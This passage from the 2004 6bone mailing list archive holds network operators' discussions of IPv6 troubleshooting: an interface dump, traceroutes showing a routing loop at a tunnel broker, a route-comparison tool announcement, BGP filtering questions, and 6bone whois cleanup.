  Guid {C67D0EFF-9E56-47CD-BC32-6BA759002B62}=0D
  zones: link 6 site 3=0D
  cable unplugged=0D
  uses Neighbor Discovery=0D
  uses Router Discovery=0D
  routing preference 2=0D
  link-layer address: 0.0.0.0:0=0D
    preferred link-local fe80::5445:5245:444f, life infinite=0D
    multicast interface-local ff01::1, 1 refs, not reportable=0D
    multicast link-local ff02::1, 1 refs, not reportable=0D
  link MTU 1280 (true link MTU 1280)=0D
  current hop limit 128=0D
  reachable time 15500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D
Interface 5: Ethernet: Local Area Connection 2=0D
  Guid {3CC591E3-6C65-4EB7-8367-C86C3A14F54F}=0D
  zones: link 5 site 2=0D
  uses Neighbor Discovery=0D
  uses Router Discovery=0D
  sends Router Advertisements=0D
  forwards packets=0D
  link-layer address: 00-02-b3-5b-9e-5f=0D
    preferred global 2002:cb79:cc82:5:d836:a586:bd99:f80f, life =
47h58m10s/28m10s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:fd22:ee6d:189c:51b9, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:68d9:80db:e36a:c1eb, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:b879:7a15:cdc8:1cc6, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:19db:d3a7:1d21:61e1, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:5df8:5c2:287b:fa4e, life =
35h27m56s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:b553:b08a:eae4:65f8, life =
11h30m48s/0s (temporary)=0D
    preferred global 2002:cb79:cc82:5:202:b3ff:fe5b:9e5f, life =
47h58m10s/28m10s (public)=0D
    preferred site-local fec0::5:202:b3ff:fe5b:9e5f, life =
47h58m10s/28m10s (public)=0D
    preferred link-local fe80::202:b3ff:fe5b:9e5f, life infinite=0D
    multicast interface-local ff01::1, 1 refs, not reportable=0D
    multicast link-local ff02::1, 1 refs, not reportable=0D
    multicast link-local ff02::1:ff5b:9e5f, 3 refs, last reporter=0D
    multicast interface-local ff01::2, 1 refs, not reportable=0D
    multicast link-local ff02::2, 1 refs, last reporter=0D
    multicast site-local ff05::2, 1 refs, last reporter=0D
    anycast site-local fec0:0:0:5::=0D
    multicast link-local ff02::1:ff00:0, 2 refs, last reporter=0D
    anycast global 2002:cb79:cc82:5::=0D
    multicast link-local ff02::1:ffe4:65f8, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff7b:fa4e, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff21:61e1, 1 refs, last reporter=0D
    multicast link-local ff02::1:ffc8:1cc6, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff6a:c1eb, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff9c:51b9, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff99:f80f, 1 refs, last reporter=0D
  link MTU 1500 (true link MTU 1500)=0D
  current hop limit 128=0D
  reachable time 26000ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 1=0D
  default site prefix length 48=0D
Interface 4: Ethernet: Local Area Connection=0D
  Guid {7981264D-58F7-4F70-98E2-613FF4BD5BF4}=0D
  zones: link 4 site 2=0D
  uses Neighbor Discovery=0D
  uses Router Discovery=0D
  forwards packets=0D
  link-layer address: 00-40-f4-8b-bf-c2=0D
    preferred global 2002:cb79:cc82:5:11f4:d03:d164:5221, life =
47h58m10s/28m10s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:c161:351d:4c03:6450, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:604d:bcd1:6e35:3edd, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:9c1b:a3e4:98:88ff, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:edd3:5643:4d46:e77c, life =
47h58m10s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:b4db:d922:fa54:333e, life =
35h29m12s/0s (temporary)=0D
    deprecated global 2002:cb79:cc82:5:45a0:c7bb:470a:d10a, life =
11h32m4s/0s (temporary)=0D
    preferred global 2002:cb79:cc82:5:240:f4ff:fe8b:bfc2, life =
47h58m10s/28m10s (public)=0D
    preferred site-local fec0::5:240:f4ff:fe8b:bfc2, life =
47h58m10s/28m10s (public)=0D
    preferred link-local fe80::240:f4ff:fe8b:bfc2, life infinite=0D
    multicast interface-local ff01::1, 1 refs, not reportable=0D
    multicast link-local ff02::1, 1 refs, not reportable=0D
    multicast link-local ff02::1:ff8b:bfc2, 3 refs, last reporter=0D
    multicast link-local ff02::1:ff0a:d10a, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff54:333e, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff46:e77c, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff98:88ff, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff35:3edd, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff03:6450, 1 refs, last reporter=0D
    multicast link-local ff02::1:ff64:5221, 1 refs, last reporter=0D
  link MTU 1500 (true link MTU 1500)=0D
  current hop limit 128=0D
  reachable time 29000ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 1=0D
  default site prefix length 48=0D
Interface 3: 6to4 Tunneling Pseudo-Interface=0D
  Guid {A995346E-9F3E-2EDB-47D1-9CC7BA01CD73}=0D
  does not use Neighbor Discovery=0D
  does not use Router Discovery=0D
  forwards packets=0D
  routing preference 1=0D
    preferred global 2002:cb79:cc82::cb79:cc82, life infinite=0D
  link MTU 1280 (true link MTU 65515)=0D
  current hop limit 128=0D
  reachable time 27500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D
Interface 2: Automatic Tunneling Pseudo-Interface=0D
  Guid {48FCE3FC-EC30-E50E-F1A7-71172AEEE3AE}=0D
  does not use Neighbor Discovery=0D
  does not use Router Discovery=0D
  forwards packets=0D
  routing preference 1=0D
  EUI-64 embedded IPv4 address: 0.0.0.0=0D
  router link-layer address: 0.0.0.0=0D
    preferred link-local fe80::5efe:203.121.204.130, life infinite=0D
    preferred link-local fe80::5efe:192.168.0.1, life infinite=0D
    preferred global 3ffe:bc0:8000::3c6b, life infinite (manual)=0D
  link MTU 1280 (true link MTU 65515)=0D
  current hop limit 128=0D
  reachable time 22500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D
Interface 1: Loopback Pseudo-Interface=0D
  Guid {6BD113CC-5EC2-7638-B953-0B889DA72014}=0D
  zones: link 1 site 4=0D
  does not use Neighbor Discovery=0D
  does not use Router Discovery=0D
  link-layer address: =0D
    preferred link-local ::1, life infinite=0D
    preferred link-local fe80::1, life infinite=0D
  link MTU 1500 (true link MTU 4294967295)=0D
  current hop limit 128=0D
  reachable time 42500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D

------=_NextPart_000_002A_01C499D0.83EEA940--

From jeroen@unfix.org Mon Sep 13 06:22:36 2004
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Subject: Re: [6bone] Ipv6 website still not resolved, sorry.
From: Jeroen Massar <jeroen@unfix.org>
To: Gav <old_mc_donald@hotmail.com>
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On Mon, 2004-09-13 at 14:30, Gav wrote:
> Allan, thanks for replying, copying this to the list one more time to try=
=20
> and get this thing licked once and for all,  if there is a problem  in my=
=20
> setup, then yes, the httpd.conf file is where I guess it would be - or it=
=20
> could be in the conf file of my Freenet6 tunnel, I am still not sure that=
 I=20
> have configured it to broadcast on the correct interface. I can connect t=
o=20
> any v6 only sites no problem.
>=20
> However, it is difficult for me to track the problem as I don't have acce=
ss=20
> to an IPv6 enabled machine 'outside' of my network. It works perfect insi=
de=20
> the network, which I find strange as the internal computers still have to=
 go=20
> 'outside' to the internet, to DNS servers to FREENET6 , to sitelutions et=
c=20
> and then back into the network to my Server.

traceroute6 to v6.minitutorials.com shows a looping route:

<SNIP>
 6  viagenie.ipv6.intouch.net (3ffe:b00:c18::60)  126.332 ms  125.331
ms  131.78 ms
 7  3ffe:b00:c18:1::115 (3ffe:b00:c18:1::115)  132.802 ms  138.968 ms=20
132.213 ms
 8  rap.ipv6.viagenie.qc.ca (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  125.978
ms  125.379 ms  125.598 ms
 9  3ffe:b00:c18:1::115 (3ffe:b00:c18:1::115)  131.557 ms  133.151 ms=20
134.648 ms
<SNIP>

This maybe has to do with the fact that Freenet6 is moved from Viagenie
to Hexago. Hexago is also switching to the new prefixes and TSP client
etc...

In either way their routing broken and you are using the old prefixes.
You should contact their support contact and ask them, asking here is a
bit futile except that people can maybe say 'it is broken here too' but
as I don't think anyone has access to their machines or routes it won't
help much, it would only be complaining in the void as they won't notice
and thus can't help you to fix it.

Greets,
 Jeroen


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From gert@Space.Net Mon Sep 13 06:28:37 2004
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From: Gert Doering <gert@space.net>
To: Gav <old_mc_donald@hotmail.com>
Subject: Re: [6bone] Ipv6 website still not resolved, sorry.
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Hi,

On Mon, Sep 13, 2004 at 08:30:31PM +0800, Gav wrote:
> However, it is difficult for me to track the problem as I don't have access 
> to an IPv6 enabled machine 'outside' of my network. It works perfect inside 
> the network, which I find strange as the internal computers still have to go 
> 'outside' to the internet, to DNS servers to FREENET6 , to sitelutions etc 
> and then back into the network to my Server.

Chances are high that all the DNS stuff is done over IPv4 transport.

Right now, your machine isn't reachable over IPv6 due to a routing loop
between viagenie and "someone":

traceroute6 to www.minitutorials.com (3ffe:bc0:8000::3c6b) from 2001:608:0:1::100, 30 hops max, 12 byte packets
 1  Cisco-M-VI-E1-2.Space.Net (2001:608:0:1::1)  1.052 ms  0.877 ms  0.844 ms
 2  3ffe:b00:c18::6c (3ffe:b00:c18::6c)  136.691 ms  136.356 ms  135.935 ms
 3  3ffe:b00:c18:1::115 (3ffe:b00:c18:1::115)  142.677 ms  142.486 ms  142.643 ms
 4  rap.ipv6.viagenie.qc.ca (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  136.872 ms  135.745 ms  134.801 ms
 5  3ffe:b00:c18:1::115 (3ffe:b00:c18:1::115)  141.632 ms  141.734 ms  144.239 ms
 6  rap.ipv6.viagenie.qc.ca (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  136.107 ms  135.463 ms  135.027 ms
 7  3ffe:b00:c18:1::115 (3ffe:b00:c18:1::115)  141.779 ms  143.703 ms  141.607 ms
 8  rap.ipv6.viagenie.qc.ca (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  135.897 ms  134.970 ms  136.327 ms

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  66629  (65398)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From old_mc_donald@hotmail.com Mon Sep 13 15:56:37 2004
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Ok, thanks Guys, will probably download new client from Hexago and see if 
that cures it.
I will also point the fault out to Hexago/viagenie , as I guess a lot of 
people are broken now.

Typical, another problem thrown in right at the end just to confuse me :)


Gav...

----- Original Message ----- 
From: "Jeroen Massar" <jeroen@unfix.org>
To: "Gav" <old_mc_donald@hotmail.com>
Cc: <6bone@mailman.isi.edu>
Sent: Monday, September 13, 2004 9:21 PM
Subject: Re: [6bone] Ipv6 website still not resolved, sorry.


| _______________________________________________
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| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
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---
Checked for Viruses (Viri) , Gav...
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Version: 6.0.754 / Virus Database: 504 - Release Date: 6/09/2004 

From jeroen@unfix.org Sun Sep 19 04:30:51 2004
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Subject: [6bone] New Ghost Route Hunter Utility: Prefix Compare
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Always wonder what was wrong with a prefix? Wondering which ISP's are
not able to reach you and where it stops? GRH (Ghost Router Hunter *1)
now has a new utility for doing prefix comparisons (*2).
This feature was requested by Daniel R=C3=B6sen for the purpose of comparin=
g:
2001:5000::/21 with 2001:650::/32 (*3). Which are originated from the
same ASN, but as the /21 is filtered at some places, have different or
no paths to the participants (*4) that provide routes to GRH and many
more ISP"s around the world.

This utility thus allows you to see which participants of GRH do have
the routes in question and the difference in the paths towards those
participants. This allows a very quick view where a prefix is not
accepted, most possibly of misconfigured filters.

People who don't have, for instance, 2001:5000::/21 in their BGP, please
figure out where the filtering is wrongly applied by looking at the
utility and applying the current set of recommended filters, available
from: http://www.space.net/~gert/RIPE/ipv6-filters.html

It is good to see that ISP's have prefix filtering, but they really
should update them. Though I'd rather see no prefix filtering but that
they do RPF filtering on their customers.

When you have (near) 0 IPv6 prefixes in your BGP, then you better start
catching on ;) At the moment of writing you should have at least IPv6
499 prefixes, as then you have all the allocated, and currently
announced, TLA's in your router, if you have less you are missing a
number of them.

For interested ISP's, GRH signup is, of course, free and can be done
through the website (*5), the more peers join, the better the statistics
of all the GRH utilities will be. Also, if you, like Daniel, miss a good
utility, don't hesitate to bring it up.

I would also like to thank all the already participating ISP's for
providing their tables which have made it able to fix a large number of
problems already over the almost 2 years GRH has been running.
Last but not least, thanks to Daniel R=C3=B6sen for the brilliant idea.

Greets,
 Jeroen

*1 =3D http://www.sixxs.net/tools/grh/
*2 =3D http://www.sixxs.net/tools/grh/compare/
*3 =3D
http://www.sixxs.net/tools/grh/compare/?a=3D2001:5000::/21&b=3D2001:650::/3=
2
*4 =3D http://www.sixxs.net/tools/grh/participants/
*5 =3D http://www.sixxs.net/tools/grh/signup/


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[stripped irrelevant cc's]

On Tue, 2004-09-21 at 03:40, Edwin Kit Keong Ng wrote:
> Dear all...
>=20
> Can anyone please help me. I am in the middle of a project with the
> objective of enhancing the current Routers, including Home Agent and the
> Foreign Agent. This is in a Wireless environment focusing on Mobile IP.
> If i would like to convert the hardware devices to an IPv6 enabled
> device, what are the steps i have to take?

And which hardware might that be?

In either way: contact the vendor complain that they don't support IPv6
and that you wanted it yesterday and that if they don't have it you will
go to a vendor that does ;)

Greets,
 Jeroen


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From old_mc_donald@hotmail.com Thu Sep 30 04:39:18 2004
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From: "Gav" <old_mc_donald@hotmail.com>
To: "Jeroen Massar" <jeroen@unfix.org>
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Subject: [6bone] My Ipv6 website update
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On the 14th September I wrote :


| Ok, thanks Guys, will probably download new client from Hexago and see if
| that cures it.
| I will also point the fault out to Hexago/viagenie , as I guess a lot of
| people are broken now.

So, to update on those interested in this saga...

I have been in communication with Jean-Francois Tremblay of Freenet 6 
support
and fingers crossed, everything seems to be fine now. (great support btw, 
thanks)

Having downloaded the SP2 update for XP a while back, the old client and the 
newer
client available on the website were not compatible. JF sent me a newer 
version that
works for SP2 users. Its early days yet but I have had no dropouts over the 
last couple
of days and JF confirmed that my site could be reached via IPv6.

The SP2 compatible release is now available on the Freenet6 website for 
those that might need it.

I still have a niggling problem of sorts, Kame.net will not recognise my 
connection as
being v6 although Hexago and sixxs.net both do, no idea why that is!

I would still like a couple more confirmations that people can reach my site 
via a v6 connection
just to be sure that it is not just my tunnel provider that can.

http://minitutorials.com
http://v6.minitutorials.com

Either should read your v6 address and display it in the footer.

Thanks everyone, I will let you lot get on with some real work after this :)

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.768 / Virus Database: 515 - Release Date: 22/09/2004 

From alvaro.vives@consulintel.es Thu Sep 30 07:51:17 2004
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From: "Alvaro Vives" <alvaro.vives@consulintel.es>
To: <old_mc_donald@hotmail.com>
References: <20040913015517.AA2D9725A@sitemail.everyone.net><BAY9-DAV199slvFVQqq0005e014@hotmail.com><1095081703.2608.351.camel@segesta.zurich.ibm.com><BAY9-DAV2w1SSfWXWzR00017b19@hotmail.com>
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Subject: Re: [6bone] My Ipv6 website update
Date: Thu, 30 Sep 2004 16:54:37 +0200
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Hi,

I have been able to connct to your web site (http://minitutorials.com) using v6 ans I see my address on the footer:

"2001:800:40:2a05:2c0:26ff:fe50:1900 Remote host supports IPv6"

Also I see on the central frame: "You are IPv6 Enabled".

But http://v6.minitutorials.com shows a different page with some error messages like:

[an error occurred while processing this directive] 
[an error occurred while processing this directive] 
Welcome to the IPv6 enabled MiniTutorials Website !!!
Web Design Tutorials 
Hope this helps,
Alvaro Vives
Consulintel


----- Original Message ----- 
From: "Gav" <old_mc_donald@hotmail.com>
To: "Jeroen Massar" <jeroen@unfix.org>
Cc: <6bone@mailman.isi.edu>
Sent: Thursday, September 30, 2004 1:39 PM
Subject: [6bone] My Ipv6 website update


> On the 14th September I wrote :
> 
> 
> | Ok, thanks Guys, will probably download new client from Hexago and see if
> | that cures it.
> | I will also point the fault out to Hexago/viagenie , as I guess a lot of
> | people are broken now.
> 
> So, to update on those interested in this saga...
> 
> I have been in communication with Jean-Francois Tremblay of Freenet 6 
> support
> and fingers crossed, everything seems to be fine now. (great support btw, 
> thanks)
> 
> Having downloaded the SP2 update for XP a while back, the old client and the 
> newer
> client available on the website were not compatible. JF sent me a newer 
> version that
> works for SP2 users. Its early days yet but I have had no dropouts over the 
> last couple
> of days and JF confirmed that my site could be reached via IPv6.
> 
> The SP2 compatible release is now available on the Freenet6 website for 
> those that might need it.
> 
> I still have a niggling problem of sorts, Kame.net will not recognise my 
> connection as
> being v6 although Hexago and sixxs.net both do, no idea why that is!
> 
> I would still like a couple more confirmations that people can reach my site 
> via a v6 connection
> just to be sure that it is not just my tunnel provider that can.
> 
> http://minitutorials.com
> http://v6.minitutorials.com
> 
> Either should read your v6 address and display it in the footer.
> 
> Thanks everyone, I will let you lot get on with some real work after this :)
> 
> Gav...
> 
> 
> ---
> Checked for Viruses (Viri) , Gav...
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.768 / Virus Database: 515 - Release Date: 22/09/2004 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


**********************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on line at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.




From old_mc_donald@hotmail.com Thu Sep 30 08:07:52 2004
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To: "Alvaro Vives" <alvaro.vives@consulintel.es>
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Subject: Re: [6bone] My Ipv6 website update
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Ok Thanks,

I was not sure which route I was going to take, maybe a separate site for v6 
enabled users.
I have corrected this now and the same site should appear, I will add v6 
only content using
a perl script and SSI instead, saves me writing two sites.

Thanks for checking.

Maybe I could be added to the v6 enabled sites/servers list,

http://6bone.informatik.uni-leipzig.de/ipv6/stats/stats.php3

Not sure who runs it or if it is a definitive list. ?

Gav...

----- Original Message ----- 
From: "Alvaro Vives" <alvaro.vives@consulintel.es>
To: <old_mc_donald@hotmail.com>
Cc: <6bone@mailman.isi.edu>
Sent: Thursday, September 30, 2004 10:54 PM
Subject: Re: [6bone] My Ipv6 website update


Hi,

I have been able to connct to your web site (http://minitutorials.com) using 
v6 ans I see my address on the footer:

"2001:800:40:2a05:2c0:26ff:fe50:1900 Remote host supports IPv6"

Also I see on the central frame: "You are IPv6 Enabled".

But http://v6.minitutorials.com shows a different page with some error 
messages like:

[an error occurred while processing this directive]
[an error occurred while processing this directive]
Welcome to the IPv6 enabled MiniTutorials Website !!!
Web Design Tutorials
Hope this helps,
Alvaro Vives
Consulintel


----- Original Message ----- 
From: "Gav" <old_mc_donald@hotmail.com>
To: "Jeroen Massar" <jeroen@unfix.org>
Cc: <6bone@mailman.isi.edu>
Sent: Thursday, September 30, 2004 1:39 PM
Subject: [6bone] My Ipv6 website update


> On the 14th September I wrote :
>
>
> | Ok, thanks Guys, will probably download new client from Hexago and see 
> if
> | that cures it.
> | I will also point the fault out to Hexago/viagenie , as I guess a lot of
> | people are broken now.
>
> So, to update on those interested in this saga...
>
> I have been in communication with Jean-Francois Tremblay of Freenet 6
> support
> and fingers crossed, everything seems to be fine now. (great support btw,
> thanks)
>
> Having downloaded the SP2 update for XP a while back, the old client and 
> the
> newer
> client available on the website were not compatible. JF sent me a newer
> version that
> works for SP2 users. Its early days yet but I have had no dropouts over 
> the
> last couple
> of days and JF confirmed that my site could be reached via IPv6.
>
> The SP2 compatible release is now available on the Freenet6 website for
> those that might need it.
>
> I still have a niggling problem of sorts, Kame.net will not recognise my
> connection as
> being v6 although Hexago and sixxs.net both do, no idea why that is!
>
> I would still like a couple more confirmations that people can reach my 
> site
> via a v6 connection
> just to be sure that it is not just my tunnel provider that can.
>
> http://minitutorials.com
> http://v6.minitutorials.com
>
> Either should read your v6 address and display it in the footer.
>
> Thanks everyone, I will let you lot get on with some real work after this 
> :)
>
> Gav...
>
>
> ---
> Checked for Viruses (Viri) , Gav...
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.768 / Virus Database: 515 - Release Date: 22/09/2004
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


**********************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on line at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or 
confidential. The information is intended to be for the use of the 
individual(s) named above. If you are not the intended recipient be aware 
that any disclosure, copying, distribution or use of the contents of this 
information, including attached files, is prohibited.






---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.768 / Virus Database: 515 - Release Date: 22/09/2004 

From old_mc_donald@hotmail.com Thu Sep 30 15:17:14 2004
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I notice that Mozilla, Firefox and Opera all now support IPv6, but not 
Netscape.

Any more out there anyone know of ?

Thanks

Gav...


---
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Gav wrote:
> I notice that Mozilla, Firefox and Opera all now support IPv6, but not 
> Netscape.
> 
> Any more out there anyone know of ?

lynx (a text-mode browser popular with the visually-impaired)
http://lynx.isc.org/release/


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Hi Gav,

Am Fr, den 01.10.2004 schrieb Gav um 0:17:
> I notice that Mozilla, Firefox and Opera all now support IPv6, but not 
> Netscape.

Please note that Netscape is based on Mozilla and therefore supports
IPv6 for some time now. IPv6 support in Netscapes older versions is
limited to unix platforms, but the latest version 7.2 talks IPv6 also on
Windows platforms (even the mail client does).

Christian
-- 
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A WWU project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
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From old_mc_donald@hotmail.com Fri Oct  1 05:19:16 2004
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Ok, thanks for all replies, am testing some of the others out, 


Christian Schild wrote :-



| Please note that Netscape is based on Mozilla and therefore supports
| IPv6 for some time now. IPv6 support in Netscapes older versions is
| limited to unix platforms, but the latest version 7.2 talks IPv6 also on
| Windows platforms (even the mail client does).

Yep, thanks, I tested in 7.1 which is not that old, and it could not access
my site nor sixxs,kame etc whereas the others all could. I will update to
7.2x .

(Never used NS email client)

Thanks.

Gav...


---
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From haesu@mx01.bos.ma.towardex.com Mon Oct  4 20:31:27 2004
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Hi,

I'm looking to hear some experiences from IPv6 operators today, who, if any
are employing any methods to automate IPv6 bgp route filtering (e.g. RADB
in IPv4, or RIPEdb, etc). I am particularly interested in hearing from any
US or North American based operators if they do this right now with their
production peers / transit providers. If so, I'm interested to hear which
database they use to filter their customers or peers and any other
interesting insight information.

I know ALTDB for one now supports inet6num entries, but I am just not sure
what the current popular methods are with respect to automated IPv6 filters
at US regions.

Basically I'm looking at setting up some Merit IRRd based registry for
inet6num filtering at AS30071 for automating filtering with some of our
members, and possibly use any popular databases out there today that support
IPv6 to publish our inet6 information for BGP filtering as needed.

Thanks for info!
-J
-- 
James Jun                                            TowardEX Technologies, Inc.
Technical Lead                        Network Design, Consulting, IT Outsourcing
james@towardex.com                  Boston-based Colocation & Bandwidth Services
cell: 1(978)-394-2867           web: http://www.towardex.com , noc: www.twdx.net

From dr@cluenet.de Wed Oct 27 02:45:30 2004
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Low,

does anyone have _working_ contacts for T-Net.hu AS29657 who can
actually _fix_ things there? I've tried to contact them to fix up
outdated prefix length filters with no success now for many weeks,
but now they are finally going berserk:

telnet grh.sixxs.net
sh bgp neigh 3ffe:401c:0:3:20c:ceff:fe05:da0e routes

They are announcing over half of all IPv6 BGP routes with their own
AS as origin...

One of the many examples where an unresponsive 6bone site hurts global
IPv6 production connectivity. :-(


Regards,
Daniel

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On Wed, Oct 27, 2004 at 11:42:44AM +0200, Daniel Roesen wrote:
> telnet grh.sixxs.net
> sh bgp neigh 3ffe:401c:0:3:20c:ceff:fe05:da0e routes
> 
> They are announcing over half of all IPv6 BGP routes with their own
> AS as origin...

Looks like this has been fixed now...


Regards,
Daniel

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From jeroen@belnet.be Wed Oct 27 04:15:34 2004
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Dear,

For a while now we (BELNET) stopped using our 6BONE IPv6 address space.
I was advised to remove our data from the 6BONE whois database.

Our colleague who used to maintain the 6BONE whois database has left and
we have no record of the password to use for the updates. How can we
solve this problem?

Kind regards,
-Jeroen-

-- 
Jeroen Valcke

From jeroen@unfix.org Wed Oct 27 04:35:32 2004
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On Wed, 2004-10-27 at 13:14 +0200, Jeroen Valcke wrote:
> Dear,
>=20
> For a while now we (BELNET) stopped using our 6BONE IPv6 address space.

Since 2003-11-01 05:10:39 as far as I can see with GRH ;)
I've marked it as returned in GRH so you won't see a red color there
anymore.

> I was advised to remove our data from the 6BONE whois database.

When you are not using certain prefixes anymore you should remove those
indeed. But as there is a *lot* of "historical" information in that
registry it isn't really that bad if it remains.

We always have things like these in there for instance:

inet6num:     3FFE::/24
netname:      ONLINE
descr:        IPv6 Network of online.org.ua
country:      UA
admin-c:      EAG-6BONE
tech-c:       EAG-6BONE
notify:       admin@online.org.ua
mnt-by:       ONLINE-MNT
changed:      admin@online.org.ua 20030628
source:       6BONE

I am quite sure they never got a /24 ;)

But 6bone will stop to exist 6/6/6 fortunately thus it is not a huge
problem, as long as it does not cause any operational problems of
course.

> Our colleague who used to maintain the 6BONE whois database has left and
> we have no record of the password to use for the updates. How can we
> solve this problem?

Contact David Kessens (david@iprg.nokia.com), he can fix that for you.
Though I guess he will also read this message.

Greets,
 Jeroen


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On Wed, Oct 27, 2004 at 01:01:44PM +0200, Daniel Roesen wrote:
> On Wed, Oct 27, 2004 at 11:42:44AM +0200, Daniel Roesen wrote:
> > telnet grh.sixxs.net
> > sh bgp neigh 3ffe:401c:0:3:20c:ceff:fe05:da0e routes
> > 
> > They are announcing over half of all IPv6 BGP routes with their own
> > AS as origin...
> 
> Looks like this has been fixed now...

And I have to add, that my claim that this specific case hurted
global routing was plain wrong. Apologies. Neither does T-Net have
any BGP downstreams, nor did T-Net announce those routes to their
upstreams/peers. T-Net provides an unfiltered IBGP view to GRH, not
a view a downstream customer would see.


Best regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

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What happened to http://www.6bone.net/ ?

-Hank


From jeroen@unfix.org Mon Nov  1 04:21:09 2004
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Subject: Re: [6bone] 6bone.net go byebye?
From: Jeroen Massar <jeroen@unfix.org>
To: Hank Nussbacher <hank@mail.iucc.ac.il>, support@hexago.com
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On Mon, 2004-11-01 at 12:48 +0200, Hank Nussbacher wrote:
> What happened to http://www.6bone.net/ ?

It should be at Hexago (http://www.hexago.com), which does seem
reachable. Maybe a vhost/machine that went out of order there?
IPv6 doesn't even trace to Hexago at the moment.

Could be a intermedient problem, one never knows, I've added
support@hexago.com to the To line, maybe they can fix this?

Btw any support folks, see http://www.sixxs.net/tools/grh/ and please
donate your view so that we can at least rule out the "they are actually
not announcing" or the "they don't have a route back" problems.

Greets,
 Jeroen

--
IPv6 to 6bone.net (2001:5c0:0:2::24 / hexago.com 2001:5c0:0:1::2):

 5  ge-0-1-0-0-v189.ipv6.rtr1.ams-rb.io.nl (2001:1460:2000::1)  5.063 ms
5.157 ms  4.984 ms
 6  xl0.ipv6-tun-rtr1.rb.io.nl (2001:1460:2000:1::58)  4.953 ms  4.772
ms  5.258 ms
 7  2001:5a0:200::11 (2001:5a0:200::11)  6.411 ms  6.492 ms  6.306 ms
 8  2001:5a0:300::1 (2001:5a0:300::1)  91.999 ms  92.042 ms  92.13 ms

to 6bone.net: 209.71.226.24
 5  PO6-0.Ams-Koo-core-2.interoute.net (212.23.41.145) [MPLS: Label 75
Exp 0]  101 ms  207 ms  208 ms
 6  PO9-1.Lon-Kie-core-1.interoute.net (212.23.41.154)  89 ms  88 ms  88
ms
 7  PO2-0.NYC-002-inter-2.interoute.net (212.23.43.174) [MPLS: Label 17
Exp 0]  88 ms  89 ms  96 ms
 8  PO2-1.NYC-002-inter-2.interoute.net (212.23.43.170)  88 ms  88 ms
88 ms
 9  * * *
10  66.59.191.177 (66.59.191.177)  95 ms  96 ms  95 ms
11  h216-18-72-73.gtcust.grouptelecom.net (216.18.72.73)  96 ms  96 ms
96 ms
12  * * *


--
to www.hexago.com: 209.71.226.2

 5  PO6-0.Ams-Koo-core-2.interoute.net (212.23.41.145) [MPLS: Label 75
Exp 0]  88 ms  88 ms  88 ms
 6  PO9-1.Lon-Kie-core-1.interoute.net (212.23.41.154)  88 ms  89 ms  88
ms
 7  PO2-0.NYC-002-inter-2.interoute.net (212.23.43.174) [MPLS: Label 17
Exp 0]  88 ms  88 ms  88 ms
 8  PO2-1.NYC-002-inter-2.interoute.net (212.23.43.170)  88 ms  88 ms
88 ms
 9  * * *
10  66.59.191.177 (66.59.191.177)  96 ms  95 ms  95 ms
11  h216-18-72-73.gtcust.grouptelecom.net (216.18.72.73)  96 ms  95 ms
95 ms
12  h66-201-212-225.gtconnect.net (66.201.212.225)  101 ms  100 ms  100
ms
13  * sonata.hexago.com (209.71.226.2)  100 ms *


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Subject: Re: [6bone] 6bone.net go byebye?
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Jeroen,

